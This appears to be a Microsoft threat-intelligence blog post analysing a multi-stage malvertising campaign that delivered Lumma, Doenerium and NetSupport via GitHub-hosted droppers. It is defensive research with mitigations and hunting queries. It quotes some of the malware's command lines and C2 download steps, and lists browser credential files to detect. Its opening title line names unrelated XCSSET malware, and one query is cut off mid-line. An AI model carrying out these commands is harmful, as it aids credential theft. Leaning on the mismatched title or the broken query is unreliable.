The post New XCSSET malware adds new obfuscation, persistence techniques to infect Xcode projects appeared first on Microsoft Security Blog.

GitHub was the primary platform used in the delivery of the initial access payloads and is referenced throughout this blog post; however, Microsoft Threat Intelligence also observed one payload hosted on Discord and another hosted on Dropbox.

The GitHub repositories, which were taken down, stored malware used to deploy additional malicious files and scripts. Once the initial malware from GitHub gained a foothold on the device, the additional files deployed had a modular and multi-stage approach to payload delivery, execution, and persistence. The files were used to collect system information and to set up further malware and scripts to exfiltrate documents and data from the compromised host. This activity is tracked under the umbrella name Storm-0408 that we use to track numerous threat actors associated with remote access or information-stealing malware and who use phishing, search engine optimization (SEO), or malvertising campaigns to distribute malicious payloads.

In this blog, we provide our analysis of this large-scale malvertising campaign, detailing our findings regarding the redirection chain and various payloads used across the multi-stage attack chain. We further provide recommendations for mitigating the impact of this threat, detection details, indicators of compromise (IOCs), and hunting guidance to locate related activity. By sharing this research, we aim to raise awareness about the tactics, techniques, and procedures (TTPs) used in this widespread activity so organizations can better prepare and implement effective mitigation strategies to protect their systems and data.

We would like to thank the GitHub security team for their prompt response and collaboration in taking down the malicious repositories.

GitHub activity and redirection chain

Since at least early December 2024, multiple hosts downloaded first-stage payloads from malicious GitHub repositories. The users were redirected to GitHub through a series of other redirections. Analysis of the redirector chain determined the attack likely originated from illegal streaming websites where users can watch pirated videos. The streaming websites embedded malvertising redirectors within movie frames to generate pay-per-view or pay-per-click revenue from malvertising platforms. These redirectors subsequently routed traffic through one or two additional malicious redirectors, ultimately leading to another website, such as a malware or tech support scam website, which then redirected to GitHub.

Multiple stages of malware were deployed in this campaign, as listed below, and the several different stages of activity that occurred depended on the payload dropped during the second stage.

• The first-stage payload that was hosted on GitHub served as the dropper for the next stage of payloads.
• The second-stage files were used to conduct system discovery and to exfiltrate system information that was Base64-encoded into the URL and sent over HTTP to an IP address. The information collected included data on memory size, graphic details, screen resolution, operating system (OS), and user paths.
• Various third-stage payloads were deployed depending on the second-stage payload. In general, the third-stage payload conducted additional malicious activities such as command and control (C2) to download additional files and to exfiltrate data, as well as defense evasion techniques.

The full redirect chain was composed of four to five layers. Microsoft researchers determined malvertising redirectors were contained within an iframe on illegal streaming websites.

There were several redirections that occurred before arriving at the malicious content stored on GitHub.

Attack chain

Once the redirection to GitHub occurred, the malware hosted on GitHub established the initial foothold on the user’s device and functioned as a dropper for additional payload stages and running malicious code. The additional payloads included information stealers to collect system and browser information on the compromised device, of which most were either Lumma stealer or an updated version of Doenerium. Depending on the initial payload, the deployment of NetSupport, a remote monitoring and management (RMM) software, was also often deployed alongside the infostealer. Besides the information stealers, PowerShell, JavaScript, VBScript, and AutoIT scripts were run on the host. The threat actors incorporated use of living-off-the-land binaries and scripts (LOLBAS) like PowerShell.exe, MSBuild.exe, and RegAsm.exe for C2 and data exfiltration of user data and browser credentials.

After the initial foothold was gained, the activity led to a modular and multi-stage approach to payload delivery, execution, and persistence. Each stage dropped another payload with a different function, as outlined below. Actions conducted across these stages include system discovery (memory, GPU, OS, signed-in users, and others), opening browser credential files, Data Protection API (DPAPI) crypt data calls, and other functions such as obfuscated script execution and named pipe creations to conduct data exfiltration. Persistence was achieved through modification of the registry run keys and the addition of a shortcut file to the Windows Startup folder.

Several stages of malicious activity to conduct deployment of additional malware, collections, and exfiltration of data to a C2 were observed. While not every single initial payload followed these exact steps, this is an overall view of what occurred across most incidents analyzed:

First-stage payload: Establishing a foothold on the host

During the first stage, a payload is dropped onto the user’s device from the binary hosted on GitHub, establishing a foothold on that device. As of mid-January 2025, the first-stage payloads discovered were digitally signed with a newly created certificate. A total of twelve different certificates were identified, all of which have been revoked.

Most of these initial payloads dropped the following legitimate files to leverage their functionality. These files were either leveraged by the first-stage payload or by later-stage payloads, depending on the actions being conducted.

Depending on the first-stage payload that was initially established on the compromised device, Microsoft observed different second-stage payloads and several different methods for delivering these payloads to the device.

Second-stage payload: System discovery, collection, and exfiltration

The main purpose of the second-stage payload is to conduct system discovery and collect that data for exfiltration to the C2. The system information collected includes data such as memory size, graphic card details, screen resolution, operating system, user paths, and a reference to the second-stage payload’s file name.

This was accomplished by querying the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName for the Windows OS version and running commands, such as the echo command, to gather the device’s name (%COMPUTERNAME%) and domain name (%USERDOMAIN%).

System data collected by the second-stage payload is Base64-encoded and exfiltrated as a query parameter to an IP address.

Third-stage payload: PowerShell and .exe binary

Depending on the second-stage payload, either one or multiple executables are dropped onto the compromised device, and sometimes an accompanying encoded PowerShell script. These files initiate a chain of events that conduct command execution, payload delivery, defensive evasion, persistence, C2 communications, and data exfiltration. The analysis of the dropped executables is first discussed below, followed by review of the PowerShell scripts observed.

Third-stage .exe analysis

The second-stage payloads run the dropped third-stage executables using the command prompt (for example, cmd.exe  /d /s /c “”C:\Users\<user>\AppData\Local\Temp\ApproachAllan.exe””). The /c flag ensures that the command runs and exits quickly. When the third-stage .exe runs, it drops a command file (.cmd) and launches it using the command prompt (for example, “cmd.exe” /c copy Beauty Beauty.cmd && Beauty.cmd). The .cmd file performs several actions, such as running tasklist, to initiate the discovery of running programs. This is followed by the findstr to search for keywords associated with security software:

The .cmd file also concatenates multiple files into one with a single character file name: “cmd /c copy /b ..\Verzeichnis + ..\Controlling + ..\Constitute + ..\Enjoyed + ..\Confusion + ..\Min +..\Statutory J”. This single character filename is used next.

Following this, the third-stage .exe produces an AutoIT v3 interpreter file that is renamed from the typical file name of AutoIt3.exe and uses a .com file extension. The .cmd file initiates the execution of the .com file against the single character binary (such as Briefly.com J). Note, most of the second-stage payloads follow this progression chain, and as mentioned a second-stage payload can also drop multiple executables, all following the same process. For example:

First stage

• X-essentiApp.exe

Second stage

• Ionixnignx.exe

Third stage

• EverybodyViewing.exe
• ReliefOrganizational.exe
• InflationWinston.exe

Third-stage command files

• Beauty.cmd
• Possess.cmd
• Villa.cmd

Fourth-stage AutoIT .com files

• Alexandria.com
• Kills.com
• Briefly.com

We observed multiple .com files originating from different dropped executables, each performing distinct functions while occasionally overlapping in behavior. These files facilitate persistence, process injection, remote debugging, and data exfiltration through various mechanisms. One .com file, such as Alexandria.com, drops a .scr file (another renamed AutoIT interpreter), and a .js (JavaScript) file with the same name as the .scr file. The purpose of the JavaScript file is to ensure persistence by creating a .url internet shortcut that points to the JavaScript file and is placed in the Startup folder, ensuring that the .scr file executes when the .js file executes (through Wscript.exe) upon user sign-in. Alternatively, persistence can be achieved using scheduled task creation. The .scr file can initiate C2 connections, enable remote debugging on Chrome or Edge within a hidden desktop session, or create TCP listening sockets on ports 9220-9229. This functionality allows threat actors to monitor browsing activity and interact with an active browser instance. These files can also open sensitive data files, indicating their role in facilitating post-exploitation activities.

Another .com file, such as affiliated.com, also focuses on remote debugging and browser monitoring. In addition to remote monitoring, affiliated.com initiates network connections to Telegram, Let’s Encrypt, and threat actor domains, potentially for C2 or exfiltration. It also accesses DPAPI to decrypt sensitive stored credentials and retrieve browser data.

The final observed .com file, such as Briefly.com, exhibits behavior similar to affiliated.com but extends its capabilities to include screenshot capture, data exfiltration, and PowerShell-based execution. This file accesses browser and user data for collection, establishes connections to Pastebin and additional C2 domains, and drops the fourth-stage PowerShell script.

The order in which these .com files run is not strictly defined, as one or multiple files can perform overlapping functions depending on the third-stage payload. In many cases, the .com files also leverage LOLBAS like RegAsm.exe by dropping a legitimate file into the %TEMP% directory or injecting malicious code into it using NtAllocateVirtualMemory and SetThreadContext API function calls. RegAsm.exe is used to establish C2 connections over TCP ports 15647 or 9000, exfiltrating data, accessing DPAPI for decryption, monitoring keystrokes using the WH_KEYBOARD_LL hook, and more. This flexibility in execution allows threat actors to tailor their approach based on environmental factors, such as security configurations and user activity.

Browser data files seen accessed:

• \AppData\Roaming\Mozilla\Firefox\Profiles\<user profile uid>.default-release\cookies.sqlite
• \AppData\Roaming\Mozilla\Firefox\Profiles\<user profile uid>.default-release\formhistory.sqlite
• \AppData\Roaming\Mozilla\Firefox\Profiles\<user profile uid>.default-release\key4.db
• \AppData\Roaming\Mozilla\Firefox\Profiles\<user profile uid>.default-release\logins.json
• \AppData\Local\Google\Chrome\User Data\Default\Web Data
• \AppData\Local\Google\Chrome\User Data\Default\Login Data
• \AppData\Local\Microsoft\Edge\User Data\Default\Login Data

User data file paths seen accessed:

• C:\\Users\<user>\\OneDrive
• C:\\Users\<user>\\Documents
• C:\\Users\<user>\\Downloads

Third-stage PowerShell analysis

If a PowerShell script is also dropped by the second-stage payload, it includes Base64-obfuscated commands to conduct actions, such as use curl to download additional files like NetSupport from the C2, create persistence for the NetSupport RAT, and exfiltrate system information to C2 servers. To ensure no errors or the progress meter is displayed on the compromised device, the curl command is often used with the –silent option when downloading files from the C2. PowerShell is often configured to run without restrictions with the -ExecutionPolicy Bypass parameter.

As an example, in some of the incidents, when the second-stage payload runs, a PowerShell script is dropped and executed. The script sends the compromised device’s name to the C2 and downloads NetSupport RAT from the same C2.

• Second-stage payload: Squarel.exe
• PowerShell script: SHA-256: d70ccae7914fc8c36c9e11b2a7f10bebd7f5696e78d8836554f4990b0f688dbb
• C2 domain: keikochio[.]com
• NetSupport RAT: SHA-256: 32a828e2060e92b799829a12e3e87730e9a88ecfa65a4fc4700bdcc57a52d995

In another case, a second-stage payload drops a PowerShell script, which connects to hxxps://ipinfo[.]io to gather the compromised device’s external-facing IP address. This information is sent to a Telegram chat, then drops presentationhost.exe (a renamed NetSupport binary) and remcmdstub.exe (NetSupport Command Manager) into the %TEMP% directory. Finally, the PowerShell script establishes persistence for presentationhost.exe by adding it to the auto-start extensibility points (ASEP) registry keys. When it runs, the NetSupport RAT connects to the C2 and captures a screenshot of the compromised device’s desktop. It also delivers a Lumma executable that drops a VBScript file with the same name. The VBScript file runs encoded PowerShell to initiate C2 connections and launches MSBuild.exe to enable Chrome remote debugging on a hidden desktop. Additionally, presentationhost.exe initiates remcmdstub.exe, which leverages iScrPaint.exe (iTop Screen Recorder) to run MSBuild.exe and access browser credential files for exfiltration. The iScrPaint.exe file also establishes persistence by placing a .lnk shortcut in the Windows Startup folder, ensuring it runs on system reboot.

• Second-stage payload: Application.exe
• PowerShell script: SHA-256: 483796a64f004a684a7bc20c1ddd5c671b41a808bc77634112e1703052666a64
• C2: hxxp://5.10.250[.]240/fakeurl.htm

The last observed third-stage PowerShell script was dropped by three second-stage payloads. The script sends the compromised device’s name to the C2 server. It then changes the working directory to $env:APPDATA, before using Start-BitsTransfer to download NetSupport from the C2. To evade detection, it modifies system security settings forcing TLS1.2 for encrypted C2 communication. These files are extracted into a newly created WinLibraryClient directory under AppData and then are launched. The script establishes persistence for the client32.exe (NetSupport RAT) by modifying the ASEP registry. Client32.exe initiates C2 connections to hxxp://79.132.128[.]77/fakeurl.htm.

• Second-stage payloads: SalmonSamurai.exe, LakerBaker.exe, and DisplayPhotoViewer.exe
• PowerShell script: SHA-256: 670218cfc5c16d06762b6bc74cda4902087d812e72c52d6b9077c4c4164856b6
• C2 domain: stocktemplates[.]net

Additionally, one observed execution included registry enumeration of HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\ to identify installed applications and security software. It also queries the system’s domain status using Windows Management Instrumentation (WMI) and scans for cryptocurrency wallets, including Ledger Live, Trezor Suite, KeepKey, BCVault, OneKey, and BitBox, indicating potential financial data theft.

Fourth-stage PowerShell analysis

Depending on the .com file that ran (like Briefly.com), the renamed AutoIT file may drop a PowerShell script (SHA-256: 2a29c9904d1860ea3177da7553c8b1bf1944566e5bc1e71340d9e0ff079f0bd3). The obfuscated PowerShell code uses the Add-MpPreference cmdlet to modify Microsoft Defender to add in exclusion paths for Microsoft Defender, so the specified folders are not scanned.

The script above is sometimes followed by an instance of Base64-encoded PowerShell commands. The PowerShell commands perform the following actions:

• Sends a web request to hxxps://360[.]net and closes the response.
• Sends a web request to hxxps://baidu[.]com and closes the response.
• Downloads data from hxxps://klipcatepiu0[.]shop/int_clp_sha.txt using a web client.
• Writes the downloaded data to a memory stream and saves it as a .zip file named null.zip (SHA-256: f07b8e5622598c228bfc9bff50838a3c4fffd88c436a7ef77e6214a40b0a2bae) in the C:\Users\<Username>\AppData\Local\Temp directory.

Recommendations

Microsoft recommends the following mitigations to reduce the impact of this threat.

Strengthen Microsoft Defender for Endpoint configuration

• Ensure that tamper protection is enabled in Microsoft Defender for Endpoint. 
• Enable network protection in Microsoft Defender for Endpoint. 
• Turn on web protection.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.     
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.  
• Microsoft Defender XDR customers can turn on the following attack surface reduction rules to prevent common attack techniques used by threat actors. 
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block execution of potentially obfuscated scripts
  • Block JavaScript or VBScript from launching downloaded executable content
  • Block process creations originating from PSExec and WMI commands
  • Block credential stealing from the Windows local security authority subsystem 
  • Block use of copied or impersonated system tools

Strengthen operating environment configuration

• Require multifactor authentication (MFA). While certain attacks such as adversary-in-the-middle (AiTM) phishing attempt to circumvent MFA, implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
• Implement Entra ID Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable Network Level Authentication for Remote Desktop Service connections.
• Enable Local Security Authority (LSA) protection to block credential stealing from the Windows local security authority subsystem. 
• AppLocker can restrict specific software tools prohibited within the organization, such as reconnaissance, fingerprinting, and RMM tools, or grant access to only specific users.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Trojan:Win64/LummaStealer
• Trojan:Win32/Malgent
• Behavior:Win32/Eldorado
• Behavior:Win32/LuammaStealer
• Trojan:PowerShell/Powdow
• Trojan:Win64/Shaolaod
• Behavior:Win64/Shaolaod

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• Possible theft of passwords and other sensitive web browser information
• Possible Lumma Stealer activity
• Renamed AutoIt tool
• Use of living-off-the-land binary to run malicious code
• Suspicious startup item creation
• Suspicious Scheduled Task Process Launched
• Suspicious DPAPI Activity
• Suspicious implant process from a known emerging threat
• Security software tampering
• Suspicious activity linked to a financially motivated threat actor detected
• Ransomware-linked threat actor detected
• A file or network connection related to a ransomware-linked emerging threat activity group detected
• Information stealing malware activity
• Possible NetSupport Manager activity
• Suspicious sequence of exploration activities
• Defender detection bypass
• Suspicious Location of Remote Management Software
• A process was injected with potentially malicious code
• Process hollowing detected
• Suspicious PowerShell download or encoded command execution
• Suspicious PowerShell command line
• Suspicious behavior by cmd.exe was observed
• Suspicious Security Software Discovery
• Suspicious discovery indicative of Virtualization/Sandbox Evasion
• A process was launched on a hidden desktop
• Monitored keystrokes
• Suspicious Process Discovery
• Suspicious Javascript process
• A suspicious file was observed
• Anomaly detected in ASEP registry

Microsoft Defender for Cloud

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• Detected suspicious combination of HTA and PowerShell
• Suspicious PowerShell Activity Detected
• Traffic detected from IP addresses recommended for blocking
• Attempted communication with suspicious sinkholed domain
• Communication with suspicious domain identified by threat intelligence
• Detected obfuscated command line
• Detected suspicious named pipe communications

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Storm-0408
• Agent Tesla credential theft malware
• Information stealers
• Lumma stealer
• Abuse of remote monitoring and management tools
• Malicious use of PowerShell

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Github-hosted first-stage payload certificate serial numbers

let specificSerialNumbers = dynamic(["70093af339876742820d7941", "15042512e67e8275f3f7f36b", "5608cab7e2ce34d53abcbb73",
 "0fa27d2553f24da79d1cc6bd8773ee9a", "7a7bf2ae0cbc0f5500db2946", "30d6c83a715bddb32e7956fe52d6b352",
  "301385aa36fae635e74bb88e", "30013cbbb16a7fd3c57f82707fb99c32", "5d00264a6b804ae6b28d9b16",
   "3a9c76f8304f77bd271921d9982f1ab6", "01f2c6c363767056abd80e9c", "0b09c88c0c8d15bed51a9eb4440f4bb0"]); 
union
(
    DeviceFileCertificateInfo
    | where CertificateSerialNumber in (specificSerialNumbers)
    | project DeviceName, CertificateSerialNumber, Signer, SHA1, IsSigned, Issuer, Timestamp
),
(
    DeviceTvmCertificateInfo
    | where SerialNumber in (specificSerialNumbers)
    | project DeviceId, SerialNumber, SignatureAlgorithm, Thumbprint, Path, IssueDate, ExpirationDate
)

Dropbox-hosted first-stage payload certificate serial number

Surface devices that may contain first-stage payloads hosted on Dropbox related to this activity. This query will search for the unique serial number of the known certificate related to this activity.

let specificSerialNumbers = dynamic(["7a7bf2ae0cbc0f5500db2946"]); 
union
(
    DeviceFileCertificateInfo
    | where CertificateSerialNumber in (specificSerialNumbers)
    | project DeviceName, CertificateSerialNumber, Signer, SHA1, IsSigned, Issuer, Timestamp
),
(
    DeviceTvmCertificateInfo
    | where SerialNumber in (specificSerialNumbers)
    | project DeviceId, SerialNumber, SignatureAlgorithm, Thumbprint, Path, IssueDate, ExpirationDate
)

Second-stage C2 IP addresses

Surface devices that may have communicated with second stage C2 IP addresses related to this activity.

let ipAddressToSearch = dynamic(["159.100.18.192", "192.142.10.246", "79.133.46.35", "84.200.24.191", "84.200.24.26", "89.187.28.253", "185.92.181.1"]);
union isfuzzy=true
(
    AzureDiagnostics
    | where identity_claim_ipaddr_s == ipAddressToSearch or conditions_sourceIP_s == ipAddressToSearch or CallerIPAddress == ipAddressToSearch or clientIP_s == ipAddressToSearch or clientIp_s == ipAddressToSearch or primaryIPv4Address_s == ipAddressToSearch or conditions_destinationIP_s == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "AzureDiagnostics", IPAddress = coalesce(identity_claim_ipaddr_s, conditions_sourceIP_s, CallerIPAddress, clientIP_s, clientIp_s, primaryIPv4Address_s, conditions_destinationIP_s), AdditionalInfo = tostring(AdditionalFields)
),
(
    IdentityQueryEvents
    | where IPAddress == ipAddressToSearch or DestinationIPAddress == ipAddressToSearch
    | project Timestamp, Table = "IdentityQueryEvents", IPAddress = coalesce(IPAddress, DestinationIPAddress), AdditionalInfo = Query
),
(
    AADSignInEventsBeta
    | where IPAddress == ipAddressToSearch
    | project Timestamp, Table = "AADSignInEventsBeta", IPAddress, AdditionalInfo = UserAgent
),
(
    Heartbeat
    | where ComputerIP == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "Heartbeat", IPAddress = ComputerIP, AdditionalInfo = OSName
),
(
    CloudAppEvents
    | where IPAddress == ipAddressToSearch
    | project Timestamp, Table = "CloudAppEvents", IPAddress, AdditionalInfo = UserAgent
),
(
    DeviceNetworkEvents
    | where LocalIP == ipAddressToSearch or RemoteIP == ipAddressToSearch
    | project Timestamp, Table = "DeviceNetworkEvents", IPAddress = coalesce(LocalIP, RemoteIP), AdditionalInfo = InitiatingProcessCommandLine
),
(
    AADUserRiskEvents
    | where IpAddress == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "AADUserRiskEvents", IPAddress = IpAddress, AdditionalInfo = RiskEventType
),
(
    AADNonInteractiveUserSignInLogs
    | where IPAddress == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "AADNonInteractiveUserSignInLogs", IPAddress, AdditionalInfo = UserAgent
),
(
    MicrosoftAzureBastionAuditLogs
    | where TargetVMIPAddress == ipAddressToSearch or ClientIpAddress == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "MicrosoftAzureBastionAuditLogs", IPAddress = coalesce(TargetVMIPAddress, ClientIpAddress), AdditionalInfo = UserAgent
)
| sort by Timestamp desc

Fourth-stage C2 IP addresses

Surface devices that may have communicated with fourth stage C2 IP addresses related to this activity.

let ipAddressToSearch = dynamic(["45.141.84.60", "91.202.233.18", "154.216.20.131", "5.10.250.240", "79.132.128.77"]);
union isfuzzy=true
(
    AzureDiagnostics
    | where identity_claim_ipaddr_s == ipAddressToSearch or conditions_sourceIP_s == ipAddressToSearch or CallerIPAddress == ipAddressToSearch or clientIP_s == ipAddressToSearch or clientIp_s == ipAddressToSearch or primaryIPv4Address_s == ipAddressToSearch or conditions_destinationIP_s == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "AzureDiagnostics", IPAddress = coalesce(identity_claim_ipaddr_s, conditions_sourceIP_s, CallerIPAddress, clientIP_s, clientIp_s, primaryIPv4Address_s, o),
(
    IdentityQueryEvents
    | where IPAddress == ipAddressToSearch or DestinationIPAddress == ipAddressToSearch
    | project Timestamp, Table = "IdentityQueryEvents", IPAddress = coalesce(IPAddress, DestinationIPAddress), AdditionalInfo = Query
),
(
    AADSignInEventsBeta
    | where IPAddress == ipAddressToSearch
    | project Timestamp, Table = "AADSignInEventsBeta", IPAddress, AdditionalInfo = UserAgent
),
(
    Heartbeat
    | where ComputerIP == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "Heartbeat", IPAddress = ComputerIP, AdditionalInfo = OSName
),
(
    CloudAppEvents
    | where IPAddress == ipAddressToSearch
    | project Timestamp, Table = "CloudAppEvents", IPAddress, AdditionalInfo = UserAgent
),
(
    DeviceNetworkEvents
    | where LocalIP == ipAddressToSearch or RemoteIP == ipAddressToSearch
    | project Timestamp, Table = "DeviceNetworkEvents", IPAddress = coalesce(LocalIP, RemoteIP), AdditionalInfo = InitiatingProcessCommandLine
),
(
    AADUserRiskEvents
    | where IpAddress == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "AADUserRiskEvents", IPAddress = IpAddress, AdditionalInfo = RiskEventType
),
(
    AADNonInteractiveUserSignInLogs
    | where IPAddress == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "AADNonInteractiveUserSignInLogs", IPAddress, AdditionalInfo = UserAgent
),
(
    MicrosoftAzureBastionAuditLogs
    | where TargetVMIPAddress == ipAddressToSearch or ClientIpAddress == ipAddressToSearch
    | project Timestamp = TimeGenerated, Table = "MicrosoftAzureBastionAuditLogs", IPAddress = coalesce(TargetVMIPAddress, ClientIpAddress), AdditionalInfo = UserAgent
)
| sort by Timestamp desc

Browser remote debugging 

Identify AutoIT scripts launching chromium-based browsers (such as chrome.exe, msedge.exe, brave.exe) in remote debugging mode.

DeviceProcessEvents 
| where InitiatingProcessVersionInfoInternalFileName == "AutoIt3.exe" // Check for "AutoIt" scripts, even if it's renamed.  
| where ProcessCommandLine has "--remote-debugging-port" // Identify Chromium based browsers (chrome.exe, msedge.exe, brave.exe etc) being launched in remote debugging mode. 
| project DeviceId, Timestamp, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessVersionInfoInternalFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine

DPAPI decryption via AutoIT

Identify DPAPI decryption activity originating from AutoIT scripts.

DeviceEvents
| where ActionType == "DpapiAccessed"
| where InitiatingProcessVersionInfoInternalFileName == "AutoIt3.exe"
| where (AdditionalFields has_any("Google Chrome", "Microsoft Edge") and AdditionalFields has_any("SPCryptUnprotect"))
| extend json = parse_json(AdditionalFields)
| extend dataDesp = tostring(json.DataDescription.PropertyValue)
| extend opType = tostring(json.OperationType.PropertyValue)
| where (dataDesp in~ ("Google Chrome", "Microsoft Edge") and opType =~ "SPCryptUnprotect")
| project Timestamp, ReportId, DeviceId, ActionType, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessVersionInfoInternalFileName, InitiatingProcessCommandLine, AdditionalFields, dataDesp, opType

DPAPI decryption via LOLBAS binaries

Identify DPAPI decryption activity originating from LOLBAS binaries (RegAsm.exe and MSBuild.exe).

DeviceEvents
| where ActionType == "DpapiAccessed"
| where InitiatingProcessFileName has_any ("RegAsm.exe", "MSBuild.exe")
| where (AdditionalFields has_any("Google Chrome", "Microsoft Edge") and  AdditionalFields has_any("SPCryptUnprotect"))
| extend json = parse_json(AdditionalFields)
| extend dataDesp = tostring(json.DataDescription.PropertyValue)
| extend opType = tostring(json.OperationType.PropertyValue)
| where (dataDesp in~ ("Google Chrome", "Microsoft Edge") and opType =~ "SPCryptUnprotect")
| project Timestamp, ReportId, DeviceId, ActionType, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessVersionInfoInternalFileName, InitiatingProcessCommandLine, AdditionalFields, dataDesp, opType

Sensitive browser file access via AutoIT

Identify AutoIT scripts (renamed or otherwise) accessing sensitive browser files.

let browserDirs = pack_array(@"\Google\Chrome\User Data\", @"\Microsoft\Edge\User Data\", @"\Mozilla\Firefox\Profiles\"); 
let browserSensitiveFiles = pack_array("Web Data", "Login Data", "key4.db", "formhistory.sqlite", "cookies.sqlite", "logins.json", "places.sqlite", "cert9.db");
DeviceEvents
| where AdditionalFields has_any ("FileOpenSource") // Filter for "File Open" events.
| where InitiatingProcessVersionInfoInternalFileName == "AutoIt3.exe"
| where (AdditionalFields has_any(browserDirs) or  AdditionalFields has_any(browserSensitiveFiles)) 
| extend json = parse_json(AdditionalFields)
| extend File_Name = tostring(json.FileName.PropertyValue)
| where (File_Name has_any (browserDirs) and File_Name has_any (browserSensitiveFiles))
| project Timestamp, ReportId, DeviceId, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessVersionInfoInternalFileName, InitiatingProcessCommandLine, File_Name

Sensitive browser file access via LOLBAS binaries

Identify LOLBAS binaries (RegAsm.exe and MSBuild.exe) accessing sensitive browser files.

let browserDirs = pack_array(@"\Google\Chrome\User Data\", @"\Microsoft\Edge\User Data\", @"\Mozilla\Firefox\Profiles\"); 
let browserSensitiveFiles = pack_array("Web Data", "Login Data", "key4.db", "formhistory.sqlite", "cookies.sqlite", "logins.json", "places.sqlite", "cert9.db");
DeviceEvents
| where AdditionalFields has_any ("FileOpenSource") // Filter for "File Open" events.
| where InitiatingProcessFileName has_any ("RegAsm.exe", "MSBuild.exe")
 | where (AdditionalFields has_any(browserDirs) or  AdditionalFields has_any(browserSensitiveFiles)) 
| extend json = parse_json(AdditionalFields)
| extend File_Name = tostring(json.FileName.PropertyValue)
| where (File_Name has_any (browserDirs) and File_Name has_any (browserSensitiveFiles))
| project Timestamp, ReportId, DeviceId, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessVersionInfoInternalFileName, InitiatingProcessCommandLine, File_Name

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Indicators of compromise

Streaming website domains with malicious iframe

Malicious iframe redirector domains

Malvertisement distributor

Malvertising website domains

GitHub referral URLs

GitHub URLs

DropBox URL

Discord URL

First stage GitHub-hosted payloads

First-stage Dropbox-hosted payload

First-stage Discord-hosted payload

Certificate signatures of GitHub-hosted payloads

Certificate signature of Dropbox-hosted payload

Second-stage payloads

Second-stage C2s

Third-stage payloads: .exe and PowerShell files

Fourth-stage AutoIT, NetSupport RAT, PowerShell, and Lumma

Third-stage C2s

Fourth-stage C2s

Fourth-stage testing connectivity sites

References

• https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
• https://github.com/antivirusevasion69/doenerium
• https://curl.se/docs/manpage.html#-s
• https://www.virustotal.com/gui/file/2a29c9904d1860ea3177da7553c8b1bf1944566e5bc1e71340d9e0ff079f0bd3

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

Hear more about this discovery and how threat actors in this campaign leverage trusted platforms and advanced techniques to achieve their malicious goals in this episode of the Microsoft Threat Intelligence podcast, hosted by Sherrod DeGrippo: https://thecyberwire.com/podcasts/microsoft-threat-intelligence/39/notes. To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

